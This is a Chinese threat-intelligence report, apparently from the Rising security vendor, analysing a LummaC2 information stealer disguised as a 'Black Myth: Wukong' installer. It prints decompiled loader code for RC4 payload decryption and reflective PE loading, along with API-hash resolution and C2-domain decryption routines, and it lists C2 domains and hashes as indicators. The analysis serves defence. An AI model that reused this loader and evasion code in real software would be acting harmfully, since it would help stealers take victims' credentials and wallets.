概述
近日瑞星威胁情报平台
捕获到一起伪装《黑神话:悟空》
安装包传播木马的攻击事件,企图诱骗用户下载安装,运行安装包后实际会运行攻击者部署的恶意代码而非游戏安装程序。经分析相关恶意文件为LummaC2
信息窃取木马。LummaC2
是一款使用C++开发的信息窃取木马,自2022年8月以来,它在俄语论坛上以恶意软件即服务(MaaS)
的形式运营。该恶意软件由恶意软件开发者使用Lumma
化名创建,目标是加密货币钱包、浏览器双重身份验证(2FA)扩展、登录凭据以及受害者机器上的其他敏感数据,我们可以在黑客论坛中找到其发布的广告。
其发布版本分为三档功能分别如下:
- Experienced($250/月) 包含批量下载日志、根据特定参数过滤日志等功能。
- Professional($500/月) 包含创建无限数量的规则、批量删除日志、修改配置文件、内存加载其他下发插件等功能。
- Corporate($1000/月) 除了包含前两个计划的所有功能外,还包括样本结构随意变形和
天堂之门(Heaven's Gate)
技术,用于绕过动态分析和提高恶意软件的存活能力。
可以发现功能也是较为完善的,本文便是对该家族的一次分析。在此也提醒各位天命人下载时擦亮双眼,切勿被恶意软件蒙蔽双眼,如有能力最好支持正版,避免贪小便宜吃大亏。
事件详情
本次捕获初始载荷为攻击者在sourceforge.net
上发布的名为Black Myth Wukong 2024_MultiSetup_HPSupportSolutionsFramework-13.0.1.131.msi
的文件,伪装《黑神话:悟空》
安装包,运行后会释放出恶意文件HPSupportSolutionsFramework-13.0.1.131.exe
。该文件为LummaC2
窃密木马的加载器,通过加载器解密加载LummaC2
窃密木马。
攻击流程
样本分析
加载器:HPSupportSolutionsFramework-13.0.1.131.exe
字段 | 内容 |
---|---|
原始文件名 | HPSupportSolutionsFramework-13.0.1.131.exe |
文件大小 | 39.38 MB (41295366 bytes) |
文件MD5 | 00e72c6ace5e80417ed56b137f4b905b |
文件类型 | exe |
病毒名 | Trojan.Kryptik!1.103DD |
主要功能 | 解密后续载荷并运行 |
初始样本为msi文件,在运行后会释放并执行真正的恶意加载器HPSupportSolutionsFramework-13.0.1.131.exe
,该可执行文件将恶意代码嵌套在SEH异常处理函数
中,通过手动将自定义的异常处理函数插入到SEH链中并触发异常来实现代码执行。在异常处理函数中,它会再次触发异常
并插入新的异常处理函数,直到执行隐藏在第三个异常处理函数中的恶意代码
。
该样本将下一阶段的恶意载荷分为0x7E
份存放于Bitmap
类资源中,将需要解密的资源个数存放于RCData
类资源中
恶意代码首先从资源处读取RCData
获取所需读取的资源个数,将Bitmap
中的所需资源从0x28
处开始读0x898
大小并通过自实现的字符串复制拷贝函数403310
拼接在一起。
hResInfo = FindResourceA(0, (LPCSTR)1, (LPCSTR)2);
if ( !hResInfo )
return 0;
hResData = LoadResource(0, hResInfo);
if ( !hResData )
return 0;
LockResource(hResData);
ResourceA = FindResourceA(0, (LPCSTR)1, (LPCSTR)0xA);
if ( !ResourceA )
return 0;
Resource = LoadResource(0, ResourceA);
if ( !Resource )
return 0;
v13 = *(_DWORD *)LockResource(Resource); // 获取资源个数
v18 = SizeofResource(0, hResInfo); // 每个资源的大小
v19 = VirtualAlloc(0, v13 * v18, 0x3000u, 4u);
v15 = 0x28;
v17 = 0;
for ( i = 0; i < v13; ++i )
{
hResInfoa = FindResourceA(0, (LPCSTR)(unsigned __int16)(i + 1), (LPCSTR)2);
if ( !hResInfoa )
return 0;
v6 = LoadResource(0, hResInfoa);
if ( !v6 )
return 0;
v12 = (char *)LockResource(v6);
lpAddress = (char *)VirtualAlloc(0, v18, 0x3000u, 4u);
sub_403310(lpAddress, v12, v18);
v5 = sub_4027D0((unsigned __int16 *)lpAddress + 2);
for ( j = 0; j < v5; ++j )
{
for ( k = 0; k < v5; ++k )
{
sub_403310((_BYTE *)v19 + v17, &lpAddress[v15], 3);
v17 += 3;
v15 += 3;
}
}
v15 = 0x28;
VirtualFree(lpAddress, 0, 0x8000u);
v17 -= 0x98;
}
恶意载荷拼接完成后将密钥123123
及其长度传入函数403460
中通过RC4
算法解密出最终载荷,之后通过解析PE文件结构将最后一个区段的PointerToRawData + SizeOfRawData
获取到整个文件的大小用于调用VirtualAlloc
申请空间,之后通过403310
将载荷拷贝至新开辟的空间中。
v2 = lstrlenA("123123");
sub_403460((int)"123123", v2, (int)v19, v13 * v18);
v20 = (char *)v19 + v19[15];
v4 = (int)&v20[*((unsigned __int16 *)v20 + 10) + 24];
v9 = *(_DWORD *)(v4 + 40 * (*((unsigned __int16 *)v20 + 3) - 1) + 16)
+ *(_DWORD *)(v4 + 40 * (*((unsigned __int16 *)v20 + 3) - 1) + 20);
v3 = VirtualAlloc(0, v9, 0x3000u, 0x40u);
sub_403310(v3, (char *)v19, v9);
VirtualFree(v19, 0, 0x8000u);
return v3;
之后在函数402F60
中加载ntdll.dll
并获取NtAllocateVirtualMemory
函数地址,使用NtAllocateVirtualMemory
分配内存将PE文件逐区段拷入,修复导入表与重定位表后跳转文件入口点执行,实现反射加载
。
_DWORD *__cdecl sub_402F60(_DWORD *a1)
{
_DWORD *result; // eax
char *v2; // eax
const CHAR *v3; // eax
int v4; // eax
const CHAR *v5; // eax
HANDLE CurrentProcess; // eax
FARPROC v7; // eax
CHAR *v8; // [esp+38h] [ebp-64h]
unsigned int v9; // [esp+3Ch] [ebp-60h]
FARPROC ProcAddress; // [esp+48h] [ebp-54h]
HMODULE hModule; // [esp+4Ch] [ebp-50h]
HMODULE LibraryA; // [esp+50h] [ebp-4Ch]
_DWORD *v13; // [esp+58h] [ebp-44h]
_DWORD *v14; // [esp+5Ch] [ebp-40h]
int v15; // [esp+64h] [ebp-38h]
unsigned __int8 v16; // [esp+6Eh] [ebp-2Eh]
unsigned __int8 v17; // [esp+6Fh] [ebp-2Dh]
FARPROC *v18; // [esp+70h] [ebp-2Ch]
unsigned int m; // [esp+74h] [ebp-28h]
_DWORD *v20; // [esp+78h] [ebp-24h]
int *v21; // [esp+80h] [ebp-1Ch]
CHAR *j; // [esp+84h] [ebp-18h]
CHAR *k; // [esp+88h] [ebp-14h]
unsigned __int16 i; // [esp+8Ch] [ebp-10h]
CHAR *v25; // [esp+90h] [ebp-Ch] BYREF
int v26; // [esp+94h] [ebp-8h] BYREF
result = a1;
if ( *(_WORD *)a1 == 0x5A4D )
{
result = (_DWORD *)(a1[15] / 4u);
if ( !(a1[15] % 4u) )
{
result = (_DWORD *)((char *)a1 + a1[15]);
v20 = result;
if ( *result == 0x4550 )
{
v25 = 0;
v2 = (char *)((char *(__stdcall *)(const char *, _DWORD))sub_401330)("ntdll.dll", v17);
v3 = (const CHAR *)sub_403890(v2);
hModule = LoadLibraryA(v3);
v4 = sub_401050("NtAllocateVirtualMemory", v16);
v5 = (const CHAR *)sub_403920(v4);
ProcAddress = GetProcAddress(hModule, v5);
v26 = v20[20];
CurrentProcess = GetCurrentProcess();
result = (_DWORD *)((int (__stdcall *)(HANDLE, CHAR **, _DWORD, int *, int, int))ProcAddress)(
CurrentProcess,
&v25,
0,
&v26,
12288,
64);
if ( v25 )
{
v15 = (int)v20 + *((unsigned __int16 *)v20 + 10) + 24;
sub_403310(v25, (char *)a1, v20[21]);
for ( i = 0; i < (int)*((unsigned __int16 *)v20 + 3); ++i )
sub_403310(
&v25[*(_DWORD *)(v15 + 40 * i + 12)],
(char *)a1 + *(_DWORD *)(v15 + 40 * i + 20),
*(_DWORD *)(v15 + 40 * i + 16));
if ( v20[32] && v20[33] > 0x14u )
{
for ( j = &v25[v20[32]]; *((_DWORD *)j + 3); j += 20 )
{
LibraryA = LoadLibraryA(&v25[*((_DWORD *)j + 3)]);
if ( LibraryA )
{
v21 = (int *)&v25[*(_DWORD *)j];
v18 = (FARPROC *)&v25[*((_DWORD *)j + 4)];
if ( !*(_DWORD *)j )
v21 = (int *)&v25[*((_DWORD *)j + 4)];
while ( *v21 )
{
if ( *v21 >= 0 )
v7 = GetProcAddress(LibraryA, &v25[*v21 + 2]);
else
v7 = GetProcAddress(LibraryA, (LPCSTR)(unsigned __int16)*v21);
*v18 = v7;
++v21;
++v18;
}
}
}
}
if ( v25 != (CHAR *)v20[13] && v20[41] )
{
v8 = &v25[-v20[13]];
result = v20 + 40;
v14 = v20 + 40;
if ( !v20[41] || !*v14 )
return result;
for ( k = &v25[*v14]; *(_DWORD *)k; k += *((_DWORD *)k + 1) )
{
if ( *((_DWORD *)k + 1) >= 8u )
{
v9 = (unsigned int)(*((_DWORD *)k + 1) - 8) >> 1;
v13 = k + 8;
for ( m = 0; m < v9; ++m )
{
if ( *((_WORD *)v13 + m) )
*(_DWORD *)&v25[*(_DWORD *)k + (*((_WORD *)v13 + m) & 0xFFF)] += v8;
}
}
}
}
NtCurrentPeb()->ImageBaseAddress = v25;
return (_DWORD *)((int (*)(void))&v25[v20[10]])();
}
}
}
}
return result;
}
LummaC2窃密木马
字段 | 内容 |
---|---|
文件大小 | 272.00 KB (278528 bytes) |
文件MD5 | 4cecb24b5b33efa0b42a6ff31be358f5 |
文件类型 | exe |
病毒名 | Stealer.LummaC2!1.103FA |
主要功能 | 窃取信息并回传 |
相较于其简洁的加载流程,该木马在内部采用了控制流平坦化
技术来对抗逆向分析,并对内部的字符串均进行了加密处理,且每个函数内的解密所需的参数均不相同,进一步增加了分析的难度。
木马最初会解密出KERNEL32.DLL
与ntdll.dll
字符串,在435730
中通过PEB获取到两个DLL的基址。
之后通过传入dll基址与函数Hash
给HashToAddress
,在该函数中通过遍历函数名称表
并计算Hash对比传入的函数Hash动态获取函数地址。
pRtlAllocateHeap = HashToAddress((unsigned __int16 *)NtdllBase, 0x93773101);
pRtlReAllocateHeap = HashToAddress((unsigned __int16 *)NtdllBase, 0xA4C5CBA4);
pRtlFreeHeap = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))HashToAddress((unsigned __int16 *)NtdllBase,0x61DD7344);
v1 = -1417171876;
a1 = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))HashToAddress((unsigned __int16 *)NtdllBase, 0x95D1F685);
pLoadLibraryExW = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))HashToAddress((unsigned __int16 *)KERNEL32Base,0x19F3ED45);
pFreeLibrary = (int (__stdcall *)(_DWORD))HashToAddress((unsigned __int16 *)KERNEL32Base,0x708F1ED3);
pGetProcAddress = (int (__stdcall *)(_DWORD, _DWORD))HashToAddress((unsigned __int16 *)KERNEL32Base,0x67666A2A);
v1 = -1068479088;
在完成初步准备后通过动态获取的LoadLibraryExW
函数获取Winhttp.dll
的基址,再通过HashToAddress
获取后续网络通信所需的函数
v0 = (int (__stdcall *)(int *, _DWORD, int))pLoadLibraryExW;
v50 = 0x33C335BF;
v51 = 0xCFC831C0;
v52 = 0xCB40CD42;
v53 = 0xC7FAC93A;
v54 = 0xC330C53A;
v55 = 0xDFC0C136;
v56 = 0;
for ( i = 0; i < 0x1C; ++i )
{
v1 = *((unsigned __int8 *)&v50 + i);
v78[0] = v1 ^ (i - 1791730439);
*((_BYTE *)&v50 + i) = (v1 ^ (i - 7)) + 49;
}
v2 = v0(&v50, 0, 2048);
v3 = 0;
if ( (unsigned __int8)sub_433A00(v2) )
{
pWinHttpOpen = HashToAddress((unsigned __int16 *)WinhttpBase, 0xE2BCEB04);
pWinHttpConnect = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
(unsigned __int16 *)WinhttpBase,
0x248106FA);
pWinHttpOpenRequest = HashToAddress((unsigned __int16 *)WinhttpBase, 0x89B8457D);
pWinHttpCrackUrl = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
(unsigned __int16 *)WinhttpBase,
0x44F824FB);
pWinHttpSetTimeouts = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
(unsigned __int16 *)WinhttpBase,
0xF072343C);
pWinHttpAddRequestHeaders = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
(unsigned __int16 *)WinhttpBase,
0x638F2392);
pWinHttpSendRequest = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))HashToAddress((unsigned __int16 *)WinhttpBase, 0xD711AF57);
pWinHttpReceiveResponse = (int (__stdcall *)(_DWORD, _DWORD))HashToAddress(
(unsigned __int16 *)WinhttpBase,
0x1AD145E2);
pWinHttpQueryDataAvailable = (int (__stdcall *)(_DWORD, _DWORD))HashToAddress(
(unsigned __int16 *)WinhttpBase,
0xEDB83653);
pWinHttpReadData = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
(unsigned __int16 *)WinhttpBase,
0xE9E47300);
pWinHttpWriteData = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
(unsigned __int16 *)WinhttpBase,
0x6B702A5B);
pWinHttpCloseHandle = (int (__stdcall *)(_DWORD))HashToAddress((unsigned __int16 *)WinhttpBase, 0xC135FFAE);
之后将内置加密域名先Base64解码
,在使用解码后的前0x20
字节异或解码后的数据得到解密后的域名
unsigned int __cdecl sub_42F7B0(int a1, const void *a2)
{
unsigned int v2; // esi
unsigned int v3; // edi
unsigned int result; // eax
_BYTE *v5; // edi
unsigned int i; // ecx
int v7; // ecx
char v8[48]; // [esp+Ch] [ebp-30h] BYREF
v2 = sub_409710(a1);
v3 = sub_42F8C0(a1, v2);
result = Base64Decode(a1, v2, (int)a2);
if ( result == v3 )
{
result -= 0x20;
qmemcpy(v8, a2, 0x20u);
v5 = a2;
for ( i = 0; i < result; ++i )
{
v5 = a2;
*((_BYTE *)a2 + i) = (v8[i & 0x1F] & 0xCF | ~v8[i & 0x1F] & 0x30) ^ (*((_BYTE *)a2 + i + 32) & 0xCF | ~*((_BYTE *)a2 + i + 32) & 0x30);
}
v5[result] = 0;
v7 = 1;
}
else
{
v7 = 0;
}
if ( !v7 )
return 0;
return result;
}
其共内置有9个域名,解密后如下:
- traineiwnqo.shop
- reagoofydwqioo.shop
- locatedblsoqp.shop
- condedqpwqm.shop
- evoliutwoqm.shop
- millyscroqwp.shop
- stagedchheiqwo.shop
- caffegclasiqwp.shop
- stamppreewntnq.shop
解密出域名后通过上述获取到的网络连接API回连C2发送上线包
之后从C2获取后续配置文件,根据配置文件窃取信息。由于分析时C2已经失效无法继续后续分析,但根据公开情报可以发现其窃取目标主要包括加密货币钱包扩展程序
、浏览器内保存的登陆凭据
、其他支持保存密码的客户端软件
。在获取完信息之后会通过POST
请求发回C2。
总结
该窃密木马正在广泛传播,在我们追踪关联时也发现其针对同行的钓鱼事件,在各黑客论坛发布名为ccMirai.rar
、OnlyFunChecker.zip
、DisneyChecker.rar
等伪装为黑灰产工具的钓鱼文件,与本次发现的攻击使用的是同一批基础设施。本次发现其利用《黑神话:悟空》之名传播窃密木马一事让我们得以窥见这个家族的攻击触手,它们如深海巨兽般逐渐浮现,从破解软件到同行互相钳制。受害者与加害者的身份在这种混沌中愈发模糊,各类黑客攻击如同一根根蔓延的触须,将目标牢牢困住,扩展至网络世界的隐秘角落。当然,我们也会持续关注该组织动态。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
沦陷信标(IOC)
-
MD5
4cecb24b5b33efa0b42a6ff31be358f5 00e72c6ace5e80417ed56b137f4b905b
-
Domain
traineiwnqo.shop reagoofydwqioo.shop locatedblsoqp.shop condedqpwqm.shop evoliutwoqm.shop millyscroqwp.shop stagedchheiqwo.shop caffegclasiqwp.shop stamppreewntnq.shop
-
瑞星病毒名
Trojan.Kryptik!1.103DD Stealer.LummaC2!1.103FA